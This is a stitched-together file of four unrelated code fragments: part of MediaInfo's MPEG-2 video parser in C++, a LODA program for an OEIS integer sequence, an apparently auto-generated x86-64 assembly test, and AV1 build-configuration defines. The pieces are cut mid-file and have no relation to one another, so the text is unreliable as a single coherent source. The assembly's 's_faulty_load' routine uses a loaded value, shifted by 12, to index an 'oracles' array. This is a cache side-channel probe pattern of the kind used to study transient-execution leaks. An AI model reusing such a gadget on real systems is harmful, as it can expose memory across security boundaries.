GA94_03_Parser->FrameInfo.PTS=FrameInfo.PTS-(FrameInfo.PTS!=(int64u)-1?((TemporalReference.size()-1-GA94_03_Pos)*tc):0); GA94_03_Parser->FrameInfo.DTS=FrameInfo.DTS-(FrameInfo.DTS!=(int64u)-1?((TemporalReference.size()-1-GA94_03_Pos)*tc):0); } #if MEDIAINFO_DEMUX int8u Demux_Level_Save=Demux_Level; Demux_Level=8; //Ancillary Demux(TemporalReference[GA94_03_Pos]->GA94_03->Data, TemporalReference[GA94_03_Pos]->GA94_03->Size, ContentType_MainStream); Demux_Level=Demux_Level_Save; #endif // MEDIAINFO_DEMUX #if defined(MEDIAINFO_EIA608_YES) || defined(MEDIAINFO_EIA708_YES) GA94_03_Parser->ServiceDescriptors=ServiceDescriptors; #endif ((File_DtvccTransport*)GA94_03_Parser)->AspectRatio=MPEG_Version==1?Mpegv_aspect_ratio1[aspect_ratio_information]:Mpegv_aspect_ratio2[aspect_ratio_information]; Open_Buffer_Continue(GA94_03_Parser, TemporalReference[GA94_03_Pos]->GA94_03->Data, TemporalReference[GA94_03_Pos]->GA94_03->Size); Element_End0(); } GA94_03_TemporalReference_Offset=TemporalReference.size(); } #else //defined(MEDIAINFO_DTVCCTRANSPORT_YES) Skip_XX(Element_Size-Element_Offset, "DTVCC Transport data"); #endif //defined(MEDIAINFO_DTVCCTRANSPORT_YES) } //--------------------------------------------------------------------------- // Packet "B2", GA94 0x06 (bar data) void File_Mpegv::user_data_start_GA94_06() { #if defined(MEDIAINFO_AFDBARDATA_YES) Element_Info1("Bar Data"); //Parsing if (GA94_06_Parser==NULL) { GA94_06_Parser=new File_AfdBarData; Open_Buffer_Init(GA94_06_Parser); ((File_AfdBarData*)GA94_06_Parser)->Format=File_AfdBarData::Format_A53_4_GA94_06; } if (GA94_06_Parser->PTS_DTS_Needed) { GA94_06_Parser->FrameInfo.PCR=FrameInfo.PCR; GA94_06_Parser->FrameInfo.PTS=FrameInfo.PTS; GA94_06_Parser->FrameInfo.DTS=FrameInfo.DTS; } Open_Buffer_Init(GA94_06_Parser); Open_Buffer_Continue(GA94_06_Parser, Buffer+Buffer_Offset+(size_t)Element_Offset, (size_t)(Element_Size-Element_Offset)); Element_Offset=Element_Size; #else //defined(MEDIAINFO_AFDBARDATA_YES) Skip_XX(Element_Size-Element_Offset, "Bar Data"); #endif //defined(MEDIAINFO_AFDBARDATA_YES) } //--------------------------------------------------------------------------- // Packet "B3" void File_Mpegv::sequence_header() { Element_Name("sequence_header"); //Reset display_horizontal_size=0; display_vertical_size=0; //Reading int32u bit_rate_value_temp; BS_Begin(); Get_S2 (12, horizontal_size_value, "horizontal_size_value"); Get_S2 (12, vertical_size_value, "vertical_size_value"); Get_S1 ( 4, aspect_ratio_information, "aspect_ratio_information"); Param_Info1C((vertical_size_value && Mpegv_aspect_ratio1[aspect_ratio_information]), (float)horizontal_size_value/vertical_size_value/Mpegv_aspect_ratio1[aspect_ratio_information]); Param_Info1(Mpegv_aspect_ratio2[aspect_ratio_information]); Get_S1 ( 4, frame_rate_code, "frame_rate_code"); Param_Info1(Mpegv_frame_rate[frame_rate_code]); Get_S3 (18, bit_rate_value_temp, "bit_rate_value"); Param_Info1(bit_rate_value_temp*400); Mark_1 (); Get_S2 (10, vbv_buffer_size_value, "vbv_buffer_size_value"); Param_Info2(2*1024*((int32u)vbv_buffer_size_value), " bytes"); Skip_SB( "constrained_parameters_flag"); TEST_SB_GET(load_intra_quantiser_matrix, "load_intra_quantiser_matrix"); bool FillMatrix=Matrix_intra.empty(); for (size_t Pos=0; Pos<64; Pos++) { int8u intra_quantiser; Get_S1 (8, intra_quantiser, "intra_quantiser"); if (FillMatrix) { Ztring Value=Ztring::ToZtring(intra_quantiser, 16); if (Value.size()==1) Value.insert(0, __T("0")); Matrix_intra+=Value; } } TEST_SB_END(); TEST_SB_GET(load_non_intra_quantiser_matrix, "load_non_intra_quantiser_matrix"); bool FillMatrix=Matrix_nonintra.empty(); for (size_t Pos=0; Pos<64; Pos++) { int8u non_intra_quantiser; Get_S1 (8, non_intra_quantiser, "non_intra_quantiser"); if (FillMatrix) { Ztring Value=Ztring::ToZtring(non_intra_quantiser, 16); if (Value.size()==1) Value.insert(0, __T("0")); Matrix_nonintra+=Value; } } TEST_SB_END(); BS_End(); //0x00 at the end if (Element_Offset<Element_Size) { int64u NullBytes_Begin=Element_Size-1; while (NullBytes_Begin>Element_Offset && Buffer[Buffer_Offset+(size_t)NullBytes_Begin]==0x00) NullBytes_Begin--; if (NullBytes_Begin==Element_Offset) Skip_XX(Element_Size-Element_Offset, "Padding"); } FILLING_BEGIN_PRECISE(); temporal_reference_Adapt(); //TODO: this line should not exist but some streams do not have group_start and/or do not start from temporal_reference 0, fast and dirty patch //Bit_rate if (bit_rate_value_IsValid && bit_rate_value_temp!=bit_rate_value) bit_rate_value_IsValid=false; //two bit_rate_values, not handled. else if (bit_rate_value==0) { bit_rate_value=bit_rate_value_temp; bit_rate_value_IsValid=true; } //NextCode if (!Status[IsAccepted]) { NextCode_Clear(); NextCode_Add(0x00); NextCode_Add(0xB2); NextCode_Add(0xB5); NextCode_Add(0xB8); } //Autorisation of other streams Streams[0x00].Searching_Payload=true; Streams[0xB2].Searching_Payload=true; Streams[0xB5].Searching_Payload=true; if (Frame_Count==0) Streams[0xB8].Searching_TimeStamp_Start=true; Streams[0xB8].Searching_TimeStamp_End=true; //Temp if (Mpegv_frame_rate[frame_rate_code]) tc=float64_int64s(((float64)1000000000)/Mpegv_frame_rate[frame_rate_code]); if (Frame_Count<Frame_Count_Valid) { FrameRate=Mpegv_frame_rate[frame_rate_code]; SizeToAnalyse_Begin=((int64u)bit_rate_value)*50*2; //standard delay between TimeStamps is 0.7s, we try 2s to be sure to have at least 2 timestamps (for integrity checking) SizeToAnalyse_End=((int64u)bit_rate_value)*50*2; //standard delay between TimeStamps is 0.7s, we try 2s to be sure } #if MEDIAINFO_MACROBLOCKS if (Macroblocks_Parse) block_count=6; //chroma_format default to 4:2:0 #endif //MEDIAINFO_MACROBLOCKS //Setting as OK sequence_header_IsParsed=true; FirstFieldFound=false; if (Frame_Count==0 && FrameInfo.DTS==(int64u)-1) FrameInfo.DTS=0; //No DTS in container #if MEDIAINFO_ADVANCED || MEDIAINFO_EVENTS // Has_sequence_header=true; #endif // MEDIAINFO_ADVANCED || MEDIAINFO_EVENTS FILLING_END(); } //--------------------------------------------------------------------------- // Packet "B4" void File_Mpegv::sequence_error() { Element_Name("sequence_error"); } //--------------------------------------------------------------------------- // Packet "B5" void File_Mpegv::extension_start() { Element_Name("extension_start"); MPEG_Version=2; //extension_start only exists in MPEG-2 specs //Parsing int8u extension_start_code_identifier; BS_Begin(); Get_S1 ( 4, extension_start_code_identifier, "extension_start_code_identifier"); Param_Info1(Mpegv_extension_start_code_identifier[extension_start_code_identifier]); Element_Info1(Mpegv_extension_start_code_identifier[extension_start_code_identifier]); switch (extension_start_code_identifier) { case 1 : //Sequence { //Parsing Peek_SB(profile_and_level_indication_escape); if (profile_and_level_indication_escape) { Get_S1 ( 8, profile_and_level_indication, "profile_and_level_indication"); Param_Info1(Mpegv_profile_and_level_indication(profile_and_level_indication)); } else { Skip_SB( "profile_and_level_indication_escape"); Get_S1 ( 3, profile_and_level_indication_profile, "profile_and_level_indication_profile"); Param_Info1(Mpegv_profile_and_level_indication_profile[profile_and_level_indication_profile]); Get_S1 ( 4, profile_and_level_indication_level, "profile_and_level_indication_level"); Param_Info1(Mpegv_profile_and_level_indication_level[profile_and_level_indication_level]); } Get_SB ( progressive_sequence, "progressive_sequence"); Get_S1 ( 2, chroma_format, "chroma_format"); Param_Info1(Mpegv_Colorimetry_format[chroma_format]); Get_S1 ( 2, horizontal_size_extension, "horizontal_size_extension"); Get_S1 ( 2, vertical_size_extension, "vertical_size_extension"); Get_S2 (12, bit_rate_extension, "bit_rate_extension"); Mark_1 (); Get_S1 ( 8, vbv_buffer_size_extension, "vbv_buffer_size_extension"); Param_Info2(2*1024*((((int32u)vbv_buffer_size_extension)<<10)+vbv_buffer_size_value), " bytes"); Get_SB ( low_delay, "low_delay"); Get_S1 ( 2, frame_rate_extension_n, "frame_rate_extension_n"); Get_S1 ( 5, frame_rate_extension_d, "frame_rate_extension_d"); BS_End(); FILLING_BEGIN(); if (frame_rate_extension_d) { FrameRate*=frame_rate_extension_n+1; FrameRate/=frame_rate_extension_d+1; } #if MEDIAINFO_MACROBLOCKS if (Macroblocks_Parse) block_count=Mpegv_block_count[chroma_format]; #endif //MEDIAINFO_MACROBLOCKS #if MEDIAINFO_ADVANCED || MEDIAINFO_EVENTS // Has_sequence_extension=true; #endif // MEDIAINFO_ADVANCED || MEDIAINFO_EVENTS FILLING_END(); } break; case 2 : //Sequence Display { //Parsing Get_S1 ( 3, video_format, "video_format"); Param_Info1(Mpegv_video_format[video_format]); TEST_SB_GET ( colour_description, "colour_description"); Get_S1 (8, colour_primaries, "colour_primaries"); Param_Info1(Mpegv_colour_primaries(colour_primaries)); Get_S1 (8, transfer_characteristics, "transfer_characteristics"); Param_Info1(Mpegv_transfer_characteristics(transfer_characteristics)); Get_S1 (8, matrix_coefficients, "matrix_coefficients"); Param_Info1(Mpegv_matrix_coefficients(matrix_coefficients)); TEST_SB_END(); Get_S2 (14, display_horizontal_size, "display_horizontal_size"); Mark_1 (); Get_S2 (14, display_vertical_size, "display_vertical_size"); BS_End(); } break; case 5 : //Sequence Scalable Extension { //Parsing Skip_S2(10, "lower_layer_temporal_reference"); Mark_1(); Skip_S2(15, "lower_layer_horizontal_offset"); Mark_1(); Skip_S2(15, "lower_layer_vertical_offset"); #if MEDIAINFO_MACROBLOCKS if (Macroblocks_Parse) { sequence_scalable_extension_Present=true; Get_S1 ( 2, spatial_temporal_weight_code_table_index, "spatial_temporal_weight_code_table_index"); } else #endif //MEDIAINFO_MACROBLOCKS Skip_S1( 2, "spatial_temporal_weight_code_table_index"); Skip_SB( "lower_layer_progressive_frame"); Skip_SB( "lower_layer_deinterlaced_field_select"); BS_End(); } break; case 8 : //Picture Coding { //Parsing #if MEDIAINFO_MACROBLOCKS if (Macroblocks_Parse) { Get_S1 ( 4, f_code[0][0], "f_code_forward_horizontal"); Get_S1 ( 4, f_code[0][1], "f_code_forward_vertical"); Get_S1 ( 4, f_code[1][0], "f_code_backward_horizontal"); Get_S1 ( 4, f_code[1][1], "f_code_backward_vertical"); } else #endif //MEDIAINFO_MACROBLOCKS { Skip_S1( 4, "f_code_forward_horizontal"); Skip_S1( 4, "f_code_forward_vertical"); Skip_S1( 4, "f_code_backward_horizontal"); Skip_S1( 4, "f_code_backward_vertical"); } Get_S1 ( 2, intra_dc_precision, "intra_dc_precision"); Get_S1 ( 2, picture_structure, "picture_structure"); Param_Info1(Mpegv_picture_structure[picture_structure]); Get_SB ( top_field_first, "top_field_first"); #if MEDIAINFO_MACROBLOCKS if (Macroblocks_Parse) { Get_SB ( frame_pred_frame_dct, "frame_pred_frame_dct"); Get_SB ( concealment_motion_vectors, "concealment_motion_vectors"); } else #endif //MEDIAINFO_MACROBLOCKS { Skip_SB( "frame_pred_frame_dct"); Skip_SB( "concealment_motion_vectors"); } Skip_SB( "q_scale_type"); #if MEDIAINFO_MACROBLOCKS if (Macroblocks_Parse) { Get_SB ( intra_vlc_format, "intra_vlc_format"); } else #endif //MEDIAINFO_MACROBLOCKS { Skip_SB( "intra_vlc_format"); } Skip_SB( "alternate_scan"); Get_SB ( repeat_first_field, "repeat_first_field"); Skip_SB( "chroma_420_type"); Get_SB ( progressive_frame, "progressive_frame"); TEST_SB_SKIP( "composite_display_flag"); Skip_SB( "v_axis"); Skip_S1( 3, "field_sequence"); Skip_SB( "sub_carrier"); Skip_S1( 7, "burst_amplitude"); Skip_S1( 8, "sub_carrier_phase"); TEST_SB_END(); BS_End(); } FILLING_BEGIN(); if (progressive_frame==false) { if (picture_structure==3) //Frame { if (top_field_first) Interlaced_Top++; else Interlaced_Bottom++; PictureStructure_Frame++; FirstFieldFound=false; if (TemporalReference_Offset+temporal_reference>=TemporalReference.size()) TemporalReference.resize(TemporalReference_Offset+temporal_reference+1); if (TemporalReference[TemporalReference_Offset+temporal_reference]==NULL) TemporalReference[TemporalReference_Offset+temporal_reference]=new temporalreference; TemporalReference[TemporalReference_Offset+temporal_reference]->picture_coding_type=picture_coding_type; TemporalReference[TemporalReference_Offset+temporal_reference]->progressive_frame=progressive_frame; TemporalReference[TemporalReference_Offset+temporal_reference]->picture_structure=picture_structure; TemporalReference[TemporalReference_Offset+temporal_reference]->top_field_first=top_field_first; TemporalReference[TemporalReference_Offset+temporal_reference]->repeat_first_field=repeat_first_field; TemporalReference[TemporalReference_Offset+temporal_reference]->HasPictureCoding=true; } else //Field { if (!FirstFieldFound) { if (picture_structure==1) //-Top Interlaced_Top++; else //-Bottom Interlaced_Bottom++; } FirstFieldFound=!FirstFieldFound; PictureStructure_Field++; } } else { progressive_frame_Count++; if (top_field_first) Interlaced_Top++; else Interlaced_Bottom++; PictureStructure_Frame++; if (picture_structure==3) //Frame { if (TemporalReference_Offset+temporal_reference>=TemporalReference.size()) TemporalReference.resize(TemporalReference_Offset+temporal_reference+1); if (TemporalReference[TemporalReference_Offset+temporal_reference]==NULL) TemporalReference[TemporalReference_Offset+temporal_reference]=new temporalreference; TemporalReference[TemporalReference_Offset+temporal_reference]->picture_coding_type=picture_coding_type; TemporalReference[TemporalReference_Offset+temporal_reference]->progressive_frame=progressive_frame; TemporalReference[TemporalReference_Offset+temporal_reference]->picture_structure=picture_structure; TemporalReference[TemporalReference_Offset+temporal_reference]->top_field_first=top_field_first; TemporalReference[TemporalReference_Offset+temporal_reference]->repeat_first_field=repeat_first_field; TemporalReference[TemporalReference_Offset+temporal_reference]->HasPictureCoding=true; } } FILLING_END(); break; case 9 : //Picture Spatial Scalable Extension { //Parsing Skip_S1(4, "data"); BS_End(); Skip_XX(Element_Size-Element_Offset, "data"); } break; case 10 : //Picture Temporal Scalable Extension { //Parsing Skip_S1(4, "data"); BS_End(); Skip_XX(Element_Size-Element_Offset, "data"); } break; default : { //Parsing Skip_S1(4, "data"); BS_End(); Skip_XX(Element_Size-Element_Offset, "data"); } } } //--------------------------------------------------------------------------- // Packet "B7" void File_Mpegv::sequence_end() { Element_Name("sequence_end"); if (!Status[IsFilled] && sequence_header_IsParsed) { //End of file, and we have some frames Accept("MPEG Video"); Finish("MPEG Video"); } } //--------------------------------------------------------------------------- // Packet "B8" void File_Mpegv::group_start() { if (!Status[IsAccepted]) { if (!NextCode_Test()) return; } Element_Name("group_start"); //Reading int8u Hours, Minutes, Seconds, Frames; bool drop_frame_flag, closed_gop, broken_link; #if MEDIAINFO_TRACE if (Trace_Activated) { //Parsing BS_Begin(); Get_SB ( drop_frame_flag, "time_code_drop_frame_flag"); Get_S1 ( 5, Hours, "time_code_time_code_hours"); Get_S1 ( 6, Minutes, "time_code_time_code_minutes"); Mark_1(); Get_S1 ( 6, Seconds, "time_code_time_code_seconds"); Get_S1 ( 6, Frames, "time_code_time_code_pictures"); Get_SB ( closed_gop, "closed_gop"); Get_SB ( broken_link, "broken_link"); BS_End(); Ztring Time; Time+=Ztring::ToZtring(Hours); Time+=__T(':'); Time+=Ztring::ToZtring(Minutes); Time+=__T(':'); Time+=Ztring::ToZtring(Seconds); if (FrameRate!=0) { Time+=__T('.'); Time+=Ztring::ToZtring(Frames*1000/FrameRate, 0); } Element_Info1(Time); } else { #endif //MEDIAINFO_TRACE //Parsing size_t Buffer_Pos=Buffer_Offset+(size_t)Element_Offset; drop_frame_flag = (Buffer[Buffer_Pos ]&0x80)?true:false; Hours =((Buffer[Buffer_Pos ]&0x7C)>> 2); Minutes =((Buffer[Buffer_Pos ]&0x03)<< 4) | ((Buffer[Buffer_Pos+1] )>> 4); Seconds =((Buffer[Buffer_Pos+1]&0x07)<< 3) | ((Buffer[Buffer_Pos+2] )>> 5); Frames =((Buffer[Buffer_Pos+2]&0x1F)<< 1) | ((Buffer[Buffer_Pos+3] )>> 7); closed_gop = (Buffer[Buffer_Pos+3]&0x40)?true:false; broken_link = (Buffer[Buffer_Pos+3]&0x20)?true:false; Element_Offset+=4; #if MEDIAINFO_TRACE } #endif //MEDIAINFO_TRACE FILLING_BEGIN(); temporal_reference_Adapt(); //NextCode if (!Status[IsAccepted]) { NextCode_Clear(); NextCode_Add(0x00); NextCode_Add(0xB2); NextCode_Add(0xB5); NextCode_Add(0xB8); } if (TimeCodeIsNotTrustable) return; if (Time_Current_Seconds==0 && Time_Current_Frames==0 && Hours==0 && Minutes==0 && Seconds==0 && Frames==0) { //Time code is always 0 TimeCodeIsNotTrustable=true; Time_End_Seconds=(size_t)-1; TimeCode_FirstFrame.clear(); return; } //Calculating Time_Current_Seconds=60*60*Hours+60*Minutes+Seconds; Time_Current_Frames =Frames; if (!group_start_IsParsed) group_start_IsParsed=true; if (!group_start_FirstPass) { group_start_FirstPass=true; group_start_drop_frame_flag=drop_frame_flag; group_start_closed_gop=closed_gop; group_start_broken_link=broken_link; TimeCode_FirstFrame+=('0'+Hours/10); TimeCode_FirstFrame+=('0'+Hours%10); TimeCode_FirstFrame+=':'; TimeCode_FirstFrame+=('0'+Minutes/10); TimeCode_FirstFrame+=('0'+Minutes%10); TimeCode_FirstFrame+=':'; TimeCode_FirstFrame+=('0'+Seconds/10); TimeCode_FirstFrame+=('0'+Seconds%10); TimeCode_FirstFrame+=drop_frame_flag?';':':'; TimeCode_FirstFrame+=('0'+Frames/10); TimeCode_FirstFrame+=('0'+Frames%10); group_start_closed_gop_Closed=0; group_start_closed_gop_Open=0; } if (closed_gop) group_start_closed_gop_Closed++; else group_start_closed_gop_Open++; RefFramesCount=0; //Autorisation of other streams if (Searching_TimeStamp_Start_DoneOneTime) Streams[0xB8].Searching_TimeStamp_Start=false; //group_start else Searching_TimeStamp_Start_DoneOneTime=true; Streams[0x00].Searching_TimeStamp_End=true; //picture_start FILLING_END(); } //*************************************************************************** // Helpers //*************************************************************************** //--------------------------------------------------------------------------- // Packet "B8" void File_Mpegv::temporal_reference_Adapt() { //Temporal reference temporal_reference_Old=(int16u)-1; temporal_reference_Max=0; TemporalReference_Offset=TemporalReference.size(); if (TemporalReference_Offset>=0x800) { for (size_t Pos=0; Pos<0x400; Pos++) delete TemporalReference[Pos]; //TemporalReference[Pos]=NULL; TemporalReference.erase(TemporalReference.begin(), TemporalReference.begin()+0x400); if (0x400<TemporalReference_Offset) TemporalReference_Offset-=0x400; else TemporalReference_Offset=0; #if defined(MEDIAINFO_DTVCCTRANSPORT_YES) if (0x400<GA94_03_TemporalReference_Offset) GA94_03_TemporalReference_Offset-=0x400; else GA94_03_TemporalReference_Offset=0; #endif //defined(MEDIAINFO_DTVCCTRANSPORT_YES) #if defined(MEDIAINFO_SCTE20_YES) if (0x400<Scte_TemporalReference_Offset) Scte_TemporalReference_Offset-=0x400; else Scte_TemporalReference_Offset=0; #endif //defined(MEDIAINFO_SCTE20_YES) } } } //NameSpace #endif //MEDIAINFO_MPEGV_YES
; A188085: Positions of 1 in A188083; complement of A188084. ; 1,4,5,8,9,12,15,16,19,20,23,24,27,30,31,34,35,38,39,42,45,46,49,50,53,56,57,60,61,64,65,68,71,72,75,76,79,80,83,86,87,90,91,94,95,98,101,102,105,106,109,112,113,116,117,120,121,124,127,128,131,132,135,136,139,142,143,146,147,150,151,154,157,158,161,162,165,168,169,172,173 mov $2,$0 add $0,1 pow $0,2 mov $3,1 mov $4,60 lpb $0 sub $0,1 sub $0,$3 trn $0,1 mov $1,1 add $3,6 add $4,2 lpe mul $1,$4 sub $1,61 add $1,$2
.global s_prepare_buffers s_prepare_buffers: push %r15 push %r8 push %r9 push %rbp push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x1866, %r9 nop nop nop nop nop add $58877, %r15 movw $0x6162, (%r9) nop nop nop nop inc %rsi lea addresses_A_ht+0xb0a6, %rcx nop nop nop nop nop sub %rdi, %rdi mov (%rcx), %rbp nop add %rsi, %rsi lea addresses_WT_ht+0x1e126, %rsi lea addresses_WC_ht+0xef26, %rdi clflush (%rsi) cmp $54354, %rdx mov $30, %rcx rep movsl nop and $24511, %r15 lea addresses_WT_ht+0x2efe, %rcx nop nop nop nop nop cmp %rsi, %rsi movb (%rcx), %r9b nop nop nop add %rdi, %rdi lea addresses_WC_ht+0x2226, %rsi lea addresses_A_ht+0x1b496, %rdi nop nop nop nop and %r8, %r8 mov $112, %rcx rep movsw cmp %r8, %r8 lea addresses_WC_ht+0x325c, %rcx nop nop nop add %rdx, %rdx mov $0x6162636465666768, %rbp movq %rbp, %xmm0 and $0xffffffffffffffc0, %rcx movaps %xmm0, (%rcx) nop dec %rbp lea addresses_D_ht+0x4326, %rsi lea addresses_WC_ht+0x526, %rdi nop nop sub $5990, %r8 mov $109, %rcx rep movsw nop nop nop nop nop xor $8562, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop %r15 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r8 push %r9 push %rax push %rbx push %rsi // Load lea addresses_A+0x7926, %r9 clflush (%r9) nop nop sub $43001, %r13 movups (%r9), %xmm5 vpextrq $0, %xmm5, %rbx nop nop nop nop cmp $32240, %rax // Faulty Load lea addresses_A+0x7926, %r8 sub $12612, %rsi mov (%r8), %r11w lea oracles, %rax and $0xff, %r11 shlq $12, %r11 mov (%rax,%r11,1), %r11 pop %rsi pop %rbx pop %rax pop %r9 pop %r8 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_A', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 7}} {'OP': 'REPM', 'src': {'same': True, 'congruent': 10, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_WC_ht'}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 2}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_WC_ht'}, 'dst': {'same': False, 'congruent': 1, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 1}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_WC_ht'}} {'35': 21829} 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
%define ARCH_ARM 0 %define ARCH_MIPS 0 %define ARCH_PPC 0 %define ARCH_X86 0 %define ARCH_X86_64 1 %define CONFIG_ACCOUNTING 0 %define CONFIG_ANALYZER 0 %define CONFIG_AV1_DECODER 1 %define CONFIG_AV1_ENCODER 1 %define CONFIG_AV1_HIGHBITDEPTH 0 %define CONFIG_AV1_TEMPORAL_DENOISING 1 %define CONFIG_BIG_ENDIAN 0 %define CONFIG_BITRATE_ACCURACY 0 %define CONFIG_BITSTREAM_DEBUG 0 %define CONFIG_COEFFICIENT_RANGE_CHECKING 0 %define CONFIG_COLLECT_COMPONENT_TIMING 0 %define CONFIG_COLLECT_PARTITION_STATS 0 %define CONFIG_COLLECT_RD_STATS 0 %define CONFIG_DEBUG 0 %define CONFIG_DENOISE 1 %define CONFIG_DISABLE_FULL_PIXEL_SPLIT_8X8 1 %define CONFIG_DIST_8X8 0 %define CONFIG_ENTROPY_STATS 0 %define CONFIG_EXCLUDE_SIMD_MISMATCH 0 %define CONFIG_FRAME_PARALLEL_ENCODE 0 %define CONFIG_GCC 1 %define CONFIG_GCOV 0 %define CONFIG_GPROF 0 %define CONFIG_INSPECTION 0 %define CONFIG_INTERNAL_STATS 0 %define CONFIG_INTER_STATS_ONLY 0 %define CONFIG_LIBYUV 0 %define CONFIG_LPF_MASK 0 %define CONFIG_MAX_DECODE_PROFILE 0 %define CONFIG_MISMATCH_DEBUG 0 %define CONFIG_MULTITHREAD 1 %define CONFIG_NN_V2 0 %define CONFIG_NORMAL_TILE_MODE 1 %define CONFIG_OPTICAL_FLOW_API 0 %define CONFIG_OS_SUPPORT 1 %define CONFIG_PARTITION_SEARCH_ORDER 0 %define CONFIG_PIC 0 %define CONFIG_RD_DEBUG 0 %define CONFIG_REALTIME_ONLY 1 %define CONFIG_RT_ML_PARTITIONING 0 %define CONFIG_RUNTIME_CPU_DETECT 1 %define CONFIG_SHARED 0 %define CONFIG_SHARP_SETTINGS 0 %define CONFIG_SIZE_LIMIT 1 %define CONFIG_SPATIAL_RESAMPLING 1 %define CONFIG_SPEED_STATS 0 %define CONFIG_TUNE_BUTTERAUGLI 0 %define CONFIG_TUNE_VMAF 0 %define CONFIG_WEBM_IO 1 %define DECODE_HEIGHT_LIMIT 16384 %define DECODE_WIDTH_LIMIT 16384 %define FORCE_HIGHBITDEPTH_DECODING 0 %define HAVE_AVX 1 %define HAVE_AVX2 1 %define HAVE_DSPR2 0 %define HAVE_FEXCEPT 1 %define HAVE_MIPS32 0 %define HAVE_MIPS64 0 %define HAVE_MMX 1 %define HAVE_MSA 0 %define HAVE_NEON 0 %define HAVE_PTHREAD_H 1 